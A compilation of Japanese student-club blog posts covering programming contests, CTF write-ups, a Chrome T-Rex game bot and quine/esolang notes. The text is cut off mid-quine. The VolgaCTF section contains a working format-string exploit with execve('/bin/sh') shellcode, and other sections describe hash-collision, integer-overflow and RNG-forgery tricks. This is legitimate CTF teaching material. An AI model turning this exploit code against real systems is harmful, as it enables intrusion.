第一回プロコン分科会
プロコンとは
プログラミング力を競うコンテストのこと。TopCoder部のカレンダー - TopCoder部とかに予定が載っていたりする。
たいてい、インターネットや本を大会中にばんばん使用してもよい。
競技プログラミング
アルゴリズム力を競う。正しく、ある程度高速に動くプログラムを短い思考時間で書くことが目的。1回のコンテストはだいたい2時間弱。
AtCoder (アットコーダー)
yukicoder
About – topcoder
Codeforces
Google Code Jam
ICPC16
AIZU ONLINE JUDGE: Programming Challenge
Welcome To PKU JudgeOnline
マラソン
アルゴリズム力を競う。1つの問題に対して、できるだけ高い得点を得られるようなプログラムを書く。一回のコンテストはだいたい1週間以上。
TopCoder
ICFP Programming Contest 2015
CODE RUNNER
CODE VS -ゲームを攻略する「最強のAI」作成-
プログラミングコンテスト | ハル研究所
機械学習的なの
マラソンに比べて機械学習の力がいる感じ。あと儲かるらしい。
Competitions | Kaggle
code golf
できるかぎり短いコードでプログラムを書く。
anarchy golf
TLE · Felicity · IIIT-Hyderabad
超絶技巧
神秘的なプログラムを書いた人が勝ち。
The International Obfuscated C Code Contest
trick2015/README.ja.md at master · tric/trick2015 · GitHub
この分科会では*****まで扱います。
競技プログラミングの効用
勉強か?趣味か?人生か?―プログラミングコンテストとは これを読んでください。
競技プログラミングについて自習する
本
蟻本、チーター本、螺旋本とか。あと、図書館に『アルゴリズムイントロダクション』がある。
その他インターネット
各種writeupやアルゴリズムの解説がインターネット上にある。
ICPC Challenge | 実践的プログラミング (全学自由研究ゼミナール)
月曜6限の授業。資料がとてもよい。この資料を読んだ方がこの分科会より有益なのでは...
「最強最速アルゴリズマー養成講座」最新記事一覧 - ITmedia Keywords これとか
番兵,いもす法,信濃川理論,データ構造をマージする一般的なテク,平衡二分探索木とか
*
最初のうちは、自習しようとしても「アルゴリズムが分からないので問題が解けない」<->「問題が解けないのでアルゴリズムを学べない」になってつらいので、ちょっと考えて分からなかったら解説を読む、みたいなスタイルがよいらしい。(問題は星の数ほどある)
参考
Welcome to Typical DP Contest - Typical DP Contest | AtCoder dp分からない人はこれを解けばいいのでは???
AOJ-ICPC難易度順に並んでいる。
AOJ Problems by Categoryカテゴリ別に分けられているのでよい。
Spaghetti Source - 各種アルゴリズムの C++ による実装
Competitive Programming Advent Calendar 2015 - Adventar
Welcome to お誕生日コンテスト - お誕生日コンテスト | AtCoder
Welcome to YUHA presents C88 謎解き×競技プログラミング 『ある勇者の物語』 - YUHA presents C88 謎解き×競技プログラミング 『ある勇者の物語』 | AtCoder
Golden Week Contest - あなたは嘘つきですかと聞かれたら「YES」と答えるブログ
__________の ICPCアジア地区予選2011参戦記 - jelliesの競技プログラミング雑記
volgactf-qual-2016のwriteupのwriteupとか
先日あった,volgactf-qual-2016に参加したのでそのwriteupです。
解けたの
REV::broken
elfファイルが与えられるので解析する問題。
複数スレッドを立ち上げていて、ふつうに実行すると、30秒ほどして "The processing has taken too long, terminating the process..." と表示されて終わってしまう。
いろいろ見ていくと、中でセマフォ(鉄道の通票みたいな仕組み)を使ってスレッド制御をしていることがわかる。
よく読んでみるとおおまかに
th3(){ 0x400f40 sem_init(0x603500,0,0); sem_init(0x6034e0,0,0); sem_init(0x6034c0,0,0); //セマフォの作成 create_thread(f1); create_thread(f2); wait(34c0); //セマフォが解放されるまで待って、取っていく wait(34c0); なんやかや(); post(3500); //セマフォを増やす post(34e0); wait(34c0); wait(34c0); なにがしか(); post(3500); post(34e0); } f1(){ 0x400ed0 for(;;){ post(34c0); wait(3500); dosomething() } } f2(){ 0x4012c0 for(;;){ post(34c0); wait(3500); dosomething2() } }
みたいなことをしているのがわかる。
はい、デッドロックに陥りますね。
おそらく、f1とf2が歩調を合わせて実行されることを想定して書かれているのだけれど、3500と34e00のセマフォがpostされているのに、どっちも3500のセマフォをwaitしているので3500のセマフォが足らなくなっている。
で、f1とf2のどちらかが34e00のセマフォをwaitするように修正してやればいいのだが、バイナリエディタでいじって実行するとなんでかプログラムが起動しなくなってしまう。(チェックサムかなにかに引っかかった?)
ので、gdb.executeとかで実行時にがりがり書き換えて実行してやる、とflagが出てくる。pythonは神。
import sys gdb.execute('b *0x400b20') gdb.execute('r') gdb.execute('b *0x400f16') gdb.execute('c') for i in range(1,100): gdb.execute('set $edi=0x6034e0') gdb.execute('c') #VolgaCTF{avoid_de@dl0cks_they_br3ak_your_@pp}
PPC::tic-tac-toe
三目並べを向こうのAIと2000戦して勝てというもの。
向こうのAIがわりと雑なので、こちらも雑なAIの実装で十分。(天元に対して辺に打ってはいけない、とかそういうとこまでしなくてよい)
import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('tic-tac-toe.2016.volgactf.ru', 45679)) def get(): s = sock.recv(1024) print "GETSTR:" print s return s def send(s): print "SEND: '" + s + "'" sock.send(s + "\n") time.sleep(0.01) sor = [[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]] def retbes(dat): ns,ng=0,0 for c in dat: if c=='X': ns += 1 else: ng += 1 if ns==ng: nc = 'X' else: nc = 'O' bes = (-2,-2) for p in sor: c = dat[p[0]] if c==' ': continue ok = 1 for j in p: if dat[j]!=c: ok = 0 if ok==1: print 'finished' return -2 #print p, for i in xrange(9): if dat[i]!=' ': continue ne = 0 td = dat[:i] + [nc] + dat[i+1:] nb = (-1,i) for p in sor: ok = 1 for j in p: if td[j]!=nc: ok = 0 if ok==1: return i for p in sor: ms = 0 ts = 0 for j in p: if td[j]!=' ': if td[j]==nc: ms += 1 else: ts += 1 if j==i and ms==1 and ts==2: nb = (0,i) if bes<nb: bes = nb #print td #return i print 'nbes .. ',bes return bes[1] def getres(s): while 1: ts = s[-10:][:5] if len(ts)>=5: if ts[0]=='|' and ts[4]=='|': break if(len(s)<=0): print 'sleep' time.sleep(1) s = get() s = s[-61:] v = [1,5,9,25,29,33,49,53,57] dat = map(lambda i: s[i],v) print dat return retbes(dat) print 'connecting' get() send('abeegegeg') get() while 1: r = getres(get()) if r!=-2: send(str(r)) #VolgaCTF{tic_t@c_t0e_is_the_e@rly_step_t0wards_AI}
PPC::amaze
迷路と現在地が与えられるので自分を脱出させる問題。
[[0] * w] * h みたいに二次元配列を作ってはならない、のトラップにはまってしまって辛かった。pythonはダメ。
import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('amazing.2016.volgactf.ru', 45678)) def get(): s = sock.recv(16384) print "GETSTR:" print s return s def send(s): print "SEND: '" + s + "'" sock.send(s + "\n") time.sleep(2) def getmap(): i = 0 ts = [] rn = 0 while 1: s = get().split("\n") for p in s: if len(p)==0: rn += 1 else: rn = 0 if len(p)>120: i = 1 ts.append(p) else: if i==1: return ts if rn>=50: raise 'nmaybe i failed' dd = [(2,0),(0,4),(-2,0),(0,-4)] cs = ['d','r','u','l'] def gett((y,x),i): return (y + dd[i][0],x + dd[i][1]) def cango((m,h,w),(y,x),d): #print 'Q .. ',(y,x),d (ty ,tx) = gett((y,x),d) if ty<0 or ty>=h or tx<0 or tx>=w: return False if m[ty][tx]=='#': return True if m[(y+ty)/2][(x+tx)/2]!=' ': return False return True def dfs(b,gone,(y,x)): if b[0][y][x]=='#': return '' if y+2==b[1] and x+3==b[2]: return 'r' #print gone if gone[y][x]: return None #print 'no..' , (y,x) gone[y][x]=1 for i in xrange(4): if not cango(b,(y,x),i): continue t = gett((y,x),i) s = dfs(b,gone,t) if s != None: return cs[i] + s return None def outgone(g,h,w): for y in xrange(h): s = "" for x in xrange(w): c = '##' if g[y][x]==1: c = '..' s += c print s def resd(m): h = len(m) w = len(m[0]) #gone = [[0] * w] * h python trap gone = [[0 for i in range(w)] for j in range(h)] for y in xrange(h): for x in xrange(w): if m[y][x]=='*': sy,sx = y,x ''' print gone print sy print sx print gone exit(-1) ''' print 'start',(sy,sx) gone[sy][sx]=1 for i in xrange(4): if not cango((m,h,w),(sy,sx),i): continue t = gett((sy,sx),i) print 'tes ..',t s = dfs((m,h,w),gone,t) if s != None: s = cs[i] + s print 'ok .. ',s return s outgone(gone,h,w) print 'connecting' while 1: c = resd(getmap()) send(c) #VolgaCTF{eurisco!}
だいぶやったけど解けなかったの
PWN::web_of_science
論文登録サイトみたいなのが向こうで動いているのでそれをexploitするもの。
%sとかを打ち込んで試してみると、書式指定子攻撃ができると分かる。
(getsで入力しているのでバッファオーバーフローもあるのだが、カナリアがいるので今回はこちらの脆弱性は使えない)
で、何回でも書式指定子攻撃ができるのでスタックのアドレスをleakさせることができる。
あと、NXとかの対策がないのでスタック上のシェルコードも実行することができる。
よって、『スタックのアドレスをリーク』->『スタック上にシェルコードを仕込む』->『適当な関数での戻りアドレスをシェルコード上に移す』
とすれば解ける...はずだったのだけれど、なんでか手元ではうまく動くのに向こうではうまく動いていないっぽい。なんでや。(pwn系の問題のデバッグの仕方が分からないのでだれか教えてください...)
import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('webofscience.2016.volgactf.ru', 45678)) #sock.connect(('localhost', 8421)) def get(p=0.5): time.sleep(p) s = sock.recv(1024) print "GETSTR:" , s return s def send(s): print "SEND:",s sock.send(s + "\n") get(0.5) send('a') v = [] for i in xrange(10): while True: s = get(0.1) ps = s.split("\n") tps = [] for p in ps: if p=='' or p[0:3]=='Alr': continue tps.append(p) v += tps if len(v)>=2: break print v p = v[-2].split(' ') v = v[2:] a,b = int(p[0]),int(p[2]) send(str(a + b)) get() send('1') get() send('3') get() #leak stack leak = ('%8$lx,') send(leak) get() send('5') #raw_input() s = get() s = s[40:52] print s shelp = int(s,16) - 0x310 #staretp = int(s,16) + 0x8 staretp = int(s,16) - 0x488 #ints #insert shellcode print hex(shelp),hex(staretp) def addtostr(add): res = "" for i in xrange(8): res += chr(add % 256) add /= 256 return res shc = "" for i in xrange(8): shc += addtostr(staretp) staretp += 1 #from momotech http://inaz2.hatenablog.com/entry/2014/07/04/001851 shc += "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" send('2') get() send(shc) get() #retadddr override ove = "" o2 = "" nsp = shelp sp = 0 for i in xrange(6): tp = nsp % 256 nsp /= 256 o2 += ('%' + str((tp-sp+0x100)%0x100) + 'c') sp = tp o2 += ('%' + str(i + 0x130/8 + 10) + '$hhn') #o2 = ('0x%' + str(0 + 0x230 + 12) + '$x') + ('0x%' + str(1 + 0x230 + 12) + '$x') ove += o2 print ove send('3') get() send(ove) get() send('5') #raw_input() get() send('ls') send('pwd') get(3) get(3) get(3) s = get(100)
宣伝
理論科学グループでは、CTFに関する技術を学ぶCTF分科会などもやっています。
Internetwache CTF 2016 の writeup
2/20~2/22にあったInternetwache CTF 2016にTSGの有志で参加した際に自分の関わった問題のWriteUp。
感想
わりと初心者向けらしく、全完したチームがたくさんあった。
たまにエスパー問が混じっていたのでそのあたりは辛かった。
(自分が関わったやつでは、crypto50,code80,code90,reversing80あたりがエスパー問ではないかと思う)
reversing50
なにかの逆アセンブル結果みたいなやつが与えられ、ググるとR3000の命令であることが分かる。読んでいくと、中ほどで
ans = "" for i in xrange(len(flag)): ans += chr(ord(flag[i]) ^ i) print ans
みたいにfor文が回っていることが分かるので、これより元のflagを推測する。
(XORなので、逆に変換結果を突っ込んでやれば変換前のflagが分かる)
reversing60
x64のELFファイルが与えられる。
とりあえず実行すると、
Fatal error: File does not exist
と出るので、ltraceをかまして実行すると、.password なるファイルがいることが分かる。
で、そのファイルを作った後gdbで実行しながら挙動をみると、
int i=0; int ok = 0; for(;;){ char c = fgetc(); ok |= subrutin(i,c); }
みたいになってることが分かる。
多分subrutinが全部0を返せばよさそう。
で、subrutinは、
subrutin(int i,char c){ スタックの一部(たぶん配列かなにか,datとしておく)に数を積む; char nc = dat[i]; ncを用いてなにごとかしている; }
みたいになってる。
さて、「ncを用いてなにごとかしている」ところを解析してもよいのだが、ここでいったんdat配列の中を書き出してみると、
dat[] = {ee,e0,bc,f1,ee,eb,f2,d8,f4,ef,d2,f4,ec,d6,ba};
みたいになってる。
ここで、flagの形式がIW{*********}となってることを思いつつ、
ee が I に、e0 が W に、 bc が { に、 ba が } に
対応しているかとあたりをつけて手元で適当にいじってみると、
ord(c) + ord(dat[i]) == 0x137
みたいになってる、
ので、後は変換してやれば
v = "ee,e0,bc,f1,ee,eb,f2,d8,f4,ef,d2,f4,ec,d6,ba" v = map(lambda x: int(x,16),v.split(',')) ans ="" for c in v: ans += chr(int("137",16) - c) print ans
で、flagが出てくる。
reversing70
ARMのELFファイルが与えられる。
QEMUでも入れて解析する必要があるかなー、とか思っていたが、IDAのdemo版でも逆アセンブルができるそうなので、IDAの方に投げてみる。
見ると、mainは
main(){ char s* = malloc(0x65); // s .. [esp - 0xc] int i = 0; //i.. [esp-0x8] for(;;){ if (i + 1 == [esp - 0x10]){ free(s); return; } printf("Enter Solution for task%d\n",i); scanf("%s",s); handle_task(i,s); i++; } }
みたいになってて、handle_task()は、
handle_task(int ii,char* is){ int i = ii; char* s = is; switch(i){ case 0: if()printf("IW{S.E\n"); break; case 1: if()puts("WI{QA3}"); else printf(".R.V.E\n"); break; case 2: if()puts("R>=F:"); else printf(".Q.D.Q!\n"); break; case 3: if()printf("A:R:M}\n"); break; } }
みたいになってることがおおざっぱに分かる。頑張ってそれぞれのif文内を読むと正解が分かるはずだが、まあフラッグの形式等その他もろもろから判断して、適当にありえそうな文字列を試してみると、flagは
IW{S.E.R.V.E.R>=F:A:R:M}
であることが分かる。
reversing80
Hello world program in esoteric languages - Esolang
を眺めてみると、TapeBagelという言語であることが分かるので、言語仕様を調べて動かそうとしてみる、が、動かない。(プログラム例もHello Worldしか見つからなかったし、実装もインタプリタ1つしかないし、ヒントは意味が分からないし、エスパーするしかないですよね...)
四苦八苦しているとcookies氏が倒してくれた。
reversing90
問題ファイルより抜粋
Scrambling: F' D' U' L' U' F2 B2 D2 F' U D2 B' U' B2 R2 D2 B' R' U B2 L U R' U' L' White side: ------- |I|3| | | |D|R| | | | | ------- Orange side: ------- |C| | | | | | | | | | | ------- Yellow side: ------- |{| | | |3| | | | | |}| ------- Red side: ------- | | | | |W| | | | | | | -------
スクランブルの書き方からしてもルービックキューブですね。
おそらく、この通りに箱に文字を貼って回すとフラッグが出るのだろうけれども、
フラッグが IW{*****} の形式で、また角のキューブは角に、辺のキューブは辺にしかこないことから、
IW{3D3CR} , IW{3DRC3} , IW{RD3C3}
のどれかであることが分かるので、あとは全探索submitしてやればよい(雑)
exploit60
telnet接続すると、向こうでなにかプログラムが動いていて、
Solve the following equations: X > 1337 X * 7 + 4 = 1337
と言われる。
まあそんな整数Xはないわけですが、
とりあえず適当にでかい数(2000000000とか)を打ち込んでやると、
2000000000 2000000000 is bigger than 1337 -4235423 is not equal to 1337
とか返ってくるわけです。(値は適当)
X*7+4がオーバーフローして負の数になってしまってることが推測できるので、
1337より大きくて、うまくオーバーフロー後の結果が1337になるような数を計算して送りつけてやると、フラッグが表示される。
(自分は613566947でやった)
crypto70
自作ハッシュ関数の実装と、ハッシュ化した後のパスワード(00006800007d)が与えられるので、認証を突破してください、という問題。
おそらく、内部ではハッシュ化後の値を持っていて、入力された文字列のハッシュ値と持ってる値が等しければOK,みたいな認証を行ってると推測できる。
当初は、ハッシュ関数の構造を解析すれば解けるかと思ったが思ったより面倒だったので深入りせず。
ソースコード中に
t11 = t11 % 0xFF # Should be 0xFFFFFFFF, right? q2 = q2 % 0xFF # Same here... 0xFFFFFFFF
という部分があって、t11とq2を連結した結果がハッシュ値になるのだが、
これより実はハッシュ値がたかだか255^2パターンしかないことがわかる。
よって、弱衝突耐性がまったくなく、適当に探索していればハッシュ値が(00006800007d)になるような文字列を見つけることができる。
自分が見つけたのは(0xd49b00000000000000)
crypto90
銀行っぽいシステムが向こうで稼働していて、
create->completeの順で手続をすると、金が自分の口座に入金される。
預金が10^6以上になればflagが手に入るが、入金はたかだか20回しかできず、一回につき5000までしか入金できない、といった設定。
入金は、詳細には
create で入金金額mを決める,と、
def create(m): if m > 5000: return None t = os.urandom() myrand.init(t) s = "TRANSACTION: " + str(m) for i in xrange(len(s)): s[i] ^= myrand.get() % 256 transactions.append(t) print s
みたいなことをして、その後、
completeで、
def complete(p,s): if(not len(s) in range(28, 35)): return None t = transactions[p] myrand.init(t) for i in xrange(len(s)): s[i] ^= myrand.get() % 256 if(not "TRANSACTION" in pt): return None a = int(pt.replace("TRANSACTION:","")) Account.addmoney(a)
みたいなことをする、といった感じ。
myrandは、自作の線形合同法乱数生成機だった。
cerate時には、
t は予測不能、知ることもできない
m はある程度任意の整数が選べる
s は分かる
といった感じなので、sからmyrand.init(t)がどういう乱数列を返すのかが分かり、
myrandが線形合同法なので、得られた乱数列からその後どういう乱数が得られるのかが予測できる。(この問題を解くにはここまでしなくてもよかったらしいが)
よって、create(1)とかをしたあと、そこから得られた乱数列に従って、元に戻すと
"TRANSACTION:99999" になるような文字列を送りつける、と、
99999が入金される。
ので、これを11回繰り返してやればよい。
code50
code系は、全て、向こうのサーバで問題が動いてるのでそれを解け、みたいなの。
7 + X = 28
みたいな問題が飛んでくるので、方程式の解を返す問題。
Xを-5000から5000くらいまで試して、
左辺と右辺をevalして等しければOK,みたいなことをやっていた。
import socket import re import random import time cre = re.compile(r':.*') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('188.166.133.53', 11027)) s = sock.recv(1024) for i in xrange(1000): print s s = sock.recv(1024) print s ts = cre.findall(s)[0][1:].split('=') print ts ans = -1 for tx in xrange(10000): x = tx-5000 if eval(ts[0]) == eval(ts[1]): ans = x break print "ans .. " , ans s = sock.send(str(ans) + "\n") time.sleep(0.1) s = sock.recv(20)
code60
与えられた数より大きな最初の素数を返せ、という問題。
ミラー–ラビン素数判定法 - Wikipedia
を使えばよい。
code70
def encode(self, eq): out = [] for c in eq: q = bin(self._xor(ord(c),(2<<4))).lstrip("0b") q = "0" * ((2<<2)-len(q)) + q out.append(q) b = ''.join(out) pr = [] for x in range(0,len(b),2): c = chr(int(b[x:x+2],2)+51) pr.append(c) s = '.'.join(pr) return s
というのが与えられて、これを用いてencodeしたと思しき文字列が飛んでくる、
ので、
def decode(s): t = map(lambda x: int(x,10)-3, s.split('.')) print t ls = len(t) res ="" for i in xrange(ls/4): p = 0 for j in xrange(4): p *= 4 p += t[i*4+j] c = xor(p,(2<<4)) res += chr(c) return res
というのを作ってやって、decodeすると、code50の問題みたいな文字列が得られる。
code50のソルバを通して、答えをそのまま投げる……と、Wrongと返ってくる。
しばらくの試行錯誤の後、答えをencodeして投げればよいと分かる。(ちとエスパーかな)
code90
めちゃエスパー問だと思っている。闇。
なんか、二分木だのinvertだの、出てくる。問題文が読めない。木なのか森なのか判然してくれ。
そもそもLevel1に対して何を返せばよいのか分からなかった。
(1つの数字なのか、配列なのか。配列なら、フォーマットは数字をスペースで並べたものか、カンマで区切って括弧で囲えばいいのか)
与えられた配列pに対して、
def inv(p): if len(p)==0: return [] h = p[0] r,l = [],[] p = p[1:] for x in p: if x>h: l.append(x) else: r.append(x) return ([h] + inv(l) + inv(r))
をかけたのを返せばよいと分かったのは夜も遅くなってからだった。
エスパーはもうこりごり。
T-Rex Player (Google Chromeの隠しゲームを自動でやるやつ) を作った話
この記事は、TSG Advent Calendar 2015の19日目です。16日目は lip_of_cygnus さんの 任意の数字を出現させる話でした。
今回は、先月の駒場祭のTSGの展示で僕が展示した 「T-Rex Player」について書こうかと思います。
紹介
まずはこちらをご覧ください。
T-Rex(Google Chromeがネットに繋がらない時に出てくるゲーム)のAI。走らせ続けるとハイスコア10万点とか出ます。 pic.twitter.com/YovgFCcTkj
— 理論科学グループ (@tsg_ut) 2015, 11月 22
これです。
で、ソースコードは ここ です。
概要
Google Chromeには、隠し機能(イースターエッグ?)として、「インターネットにつながりません」の画面において、恐竜をジャンプさせるゲームが遊べる、というのがあります。*1これを自動でプレイさせる、というのを文化祭でやってみました。
技術
画面の情報を得たり、キーボード入力を自動でやったりするのには、たいていWindowsAPIを使っています。いろいろなライブラリが出回っている昨今、直接APIを叩く機会はあまりないですが、このレベルの機能を使うことによって、今回のようなこと以外にも、APIフックとかDLLインジェクションとかができたりします。*3
WINAPIのとこのちょっとした解説
ウィンドウズのハンドルやデバイスコンテキストハンドルを適宜取得することによってやってます。
画面のHDCを得るのには、rensya_window.cpp の CopyWindow 関数を使ってます。これは、関数が呼ばれた瞬間のウィンドウを、いったん作ったビットマップに転写して、そのビットマップのHDCを返す関数です。これを使うとたとえば、一気に大量のウィンドウキャプチャを取っておいて、それを時間をかけてゆっくり画像にしていく、みたいなことができます。*4 *5
得たHDCをAIのjudjerに投げたあと、judjerで適当なところの色をGetPixelで得、その結果に従ってキーボード入力を自動でやっています。また、デバッグとかをしやすいように*6、その上から図形を上書きしたりしてます。
キーボード入力は、SendMessageで対象ウィンドウにWM_KEYDOWNとかWM_KEYUPとかを送ることによってやっています。(send_key.cpp内) *7
judjerについての蛇足
AIと銘打ってはいますが、中では画像認識などの大層なことはしていません。いわゆるルールベースというやつです。 *8
得た画像の中ほどの高さのところの色を横一列に得ると、例えば
....#.#.....#.###.#.....##.#.....
とかいう感じで、障害物のあるなしが得られるので、これに従って、
....###.....#######.....####.....
というように障害物の位置を推測し、直前のものと比較して現在の画面の移動速度を得、また、障害物が近ければ飛ぶようにしています。
その他
展示中はわりかし順調に(2~30分ほど)跳び続けていたので、「このくらい人間にも簡単では?」と思われてしまい、来た人がなかなか驚いてくれませんでした。もうちょっと展示法を工夫するべきだったかなと思っています。*9
今後の展望
駒祭中に、「Googleの画像検索でブロック崩しが遊べる」を自動でプレイするのを書いたりしてましたが、わりと簡単に(おおざっぱに)書いてある程度動いたので、単純なゲームを自動プレイさせるのには向いてるんじゃないでしょうか。
この記事は、TSG Advent Calendar 2015の19日目でした。
23日目は、今のところ levelfour_ さんの「MLっぽい自作言語を実装する(願望)」ですが、他にも部員がいろいろ居るはずなので、その方々の記事が間に入ってくるはず(期待)です。
*1:Wifiを切るなり、機内モードにするなり、LANケーブルを引っこ抜くなりした状態で適当なウェブページに繋ごうとすると、DNS_PROBE_FINISHED_NO_INTERNETが出るので、その画面でスペースか上十字キーを押すとゲームが始まります。オンラインでも、こことかこことかでできるみたいです。
*2:何度やってもクリアできなかったので、プログラムにやらせようと思ってコードを書いていたのですが、実験としてやってるうちにクリアできてしまったので、やる気がなくなってしまってお蔵入りしてたのです
*3:展示二日目あたりに手を加えたところ、オブジェクトの破棄し忘れをやってしまい、頻繁にプログラムが落ちちゃってました。この現代においてメモリリークでバグらせるのはなかなかたいぎなので、特殊な用途でない限りはラッパを使った方がいいかと思います
*4:というか、ファイル名からして、その用途で使ってたものでした
*5:HDCから実際にピクセルの色を得るには、GetPixel関数が使えますが、これはあんまり速くなく、640×480の画像全体の画素を得る、とかすると到底リアルタイムでは処理できないのです(もっと速い方法を知ってる方がいれば教えてください)
*6:あと、展示としての見栄えがよくなるよう、展示中にいじって「それらしく」したりしてました
*7:これももっといい方法があったら教えてください
*8:当初は、適切なパラメタを機械学習させてやろうと思っていたのですが(ちょうど強化学習分科会とかやってましたし)、適当に手でいじっていると、安定して跳べるようになってしまったため
第*回超絶技巧分科会(難解プログラミング言語)
- Brainf*ck
esolangとしてはわりかし分かりやすい言語です。
ひとつの左右に無限に長いメモリと、その上を動くひとつのポインタからできています。
命令は8つあり、C言語風に表すと、
+ ・・・memory[index] += 1; - ・・・memory[index] -= 1; > ・・・index += 1; < ・・・index -= 1; . ・・・printf("%c",memory[index]); , ・・・scanf("%c",&memory[index]); [ ・・・while(true){ if(memory[index]==0)break; ] ・・・if(memory[index]==0)break; }
といった感じ。というか、多分ソースコードをこれで置換してやるとそのままうまくいくと思います。
インタプリタ書きましたので参考までに。
https://gist.github.com/satos---jp/5212947b771e3779487b
まあ、たとえばこちらの方が便利かもしれませんが。
http://www.usamimi.info/~ide/programe/brainfuck/brainfuck.html
あと、小技として、
たとえば、20インクリメントしたいとき、
++++++++++++++++++++
ではなく掛け算的に
>++++[<+++++>-]
とするとか、if文的なことをしたいときに、
[ if文の中身 [-]]
とするとか。
第二回超絶技巧分科会。
Quineを楽して書きたい。
Cなどの場合、自分で書く->コピペをするのはつらい。
メタプログラミングしましょう。
P124参照。
s = <<'HERE' #include<stdio.h> char s[1024]=@; int main(void){ char *p,*q; for(p=s;*p;p++){ if(*p!=64)putchar(*p); else{ putchar(123); for(q=s;*q;q++){ printf("%d",*q); if(*(q+1))putchar(44); } putchar(125); } } return 0; } HERE os = s os = os.sub("@"){s.dump} print os =begin ruby make_c_quine.rb > o.c gcc o.c a > o2.c gcc o2.c a > o3.c diff o2.c o3.c =end
「C言語のQuineを出力するC言語のコード」を出力するRubyのコード
よい。楽。
ここで、ハタと気づく。
s = <<'HERE' #include<stdio.h> char bfc=0; void tobf(char c){ while(bfc<c){ putchar('+'); bfc++; } while(bfc>c){ putchar('-'); bfc--; } putchar('.'); } char s[1024]=@; int main(void){ char *p,*q,d,b; for(p=s;*p;p++){ if(*p!=64)tobf(*p); else{ tobf(123); for(q=s;*q;q++){ d = *q; if(d>=100)tobf(d/100+48); if(d>=10)tobf((d/10)%10+48); tobf(d%10+48); if(*(q+1))tobf(44); } tobf(125); } } return 0; } HERE os = s os = os.sub("@"){s.dump} print os =begin ruby make_c_bf_yuine.rb > o.c gcc o.c a > o2.bf inp.exe o2.bf > o3.c gcc o3.c a > o4.bf diff o2.bf o4.bf =end
「C言語 <-> Brainf*ck 間で動くYuine」 を出力するRubyのコード
Yuineとは
http://shinh.skr.jp/slide/ppencode2/007.html
むしろ、BFのみでQuineを書くより楽。
ということで、「自分の好きな言語 <-> Brainf*ck 間で動くYuine」
を作ってみましょう。
第一回超絶技巧分科会
Quineを(とりあえず)書く
eval s="print 'eval s='+s.inspect"
$ cat quine.rb eval s="print 'eval s='+s.inspect" $ ruby quine.rb eval s="print 'eval s='+s.inspect"
「Quine」・・「プログラムのソースコード」と「そのプログラムを実行した結果出力」が
一致するようなプログラム。
考えなしにやろうとした結果
print "print " print "\"print \"\nprint " print "\"\\\"print \\\"\\nprint \"\nprint "
ちょっと考えて、文字列を使うようにした
$ cat quine_turai2.rb s = "; print \"s = \" + s + s"; print "s = " + s + s $ ruby quine_turai2.rb s = ; print "s = " + s + s; print "s = " + s + s
おしい。
文字列を囲っている""をどうにかする必要がある。
解決法
- エスケープシーケンス(%cみたいなやつ)を使う
- 数字->文字の変換をする(.chrとかchr()とか)
- そのほか、言語特有の機能を使う
スクリプト言語でQuine
asciiコードの対応
" ・・ 34
' ・・ 39
% ・・ 37
$ ・・ 36
あと、スクリプト言語の場合、「exec」 もしくは 「eval」 みたいな「文字列をソースコードとみなして実行する」ということができるので、同じ文字列を二回書かずに済む。
s="s=%c%s%c;print(s%c(34,s,34,37))";print(s%(34,s,34,37))
s='print "s=%c"%39 + s + "%c;exec(s)"%39';exec(s)
115 ・・ "s" のアスキーコード
61 ・・ "=" のアスキーコード
s="; puts 34.chr + s + 34.chr + s"; puts 115.chr + 61.chr + 34.chr + s + 34.chr + s
eval s="print 'eval s='+s.inspect"
ヒアドキュメントを使用した例
s = <<'H' print ("s = <<'H'\n" + s + "H\n" + s) H print ("s = <<'H'\n" + s + "H\n" + s)
eval( s = <<'H' print ("eval(\ns = <<'H'\n" + s + "H\n)") H )
eval($s='print"eval(".chr(36)."s=".chr(39).$s.chr(39).");"');
コンパイル式の言語(C言語)でQuine
#include<stdio.h> int main(void){ char s[500]="#include<stdio.h>\0int main(void){char s[500]=\0;printf(\0%s%c%s%c%s%c0%s%c0%s%c0%s%c0%s%c%s%c%s%c%s%c\0,s,10,s+18,34,s,92,s+18,92,s+46,92,s+55,92,s+100,34,s+46,34,s+55,34,s+100,10);return 0;}"; printf("%s%c%s%c%s%c0%s%c0%s%c0%s%c0%s%c%s%c%s%c%s%c",s,10,s+18,34,s,92,s+18,92,s+46,92,s+55,92,s+100,34,s+46,34,s+55,34,s+100,10); return 0; }
つらい。
自分で手打ちして作るものではない。
#include<stdio.h> #include<string.h> char h[256]= "#include<stdio.h>\n" "#include<string.h>\n" "char h[256]={"; char t[256]= "\nint main(void){\n" " printf(\"%s\",h);\n" " for(int i=0;i<strlen(h);i++){\n" " printf(\"%d,\",h[i]);\n" " }\n" " printf(\"};\\nchar t[256]={\",34);\n" " for(int i=0;i<strlen(t);i++){\n" " printf(\"%d,\",t[i]);\n" " }\n" " printf(\"};%s\",t);" " return 0;\n" "}\n"; int main(void){ printf("%s",h); for(int i=0;i<strlen(h);i++){ printf("%d,",h[i]); } printf("};\nchar t[256]={",34); for(int i=0;i<strlen(t);i++){ printf("%d,",t[i]); } printf("};%s",t); return 0; }
わりと人間味のあるソースコードになった。
ちなみに、これによって生成されるクワインは、
#include<stdio.h> #include<string.h> char h[256]={35,105,110,99,108,117,100,101,60,115,116,100,105,111,46,104,62,10,35,105,110,99,108,117,100,101,60,115,116,114,105,110,103,46,104,62,10,99,104,97,114,32,104,91,50,53,54,93,61,123,}; char 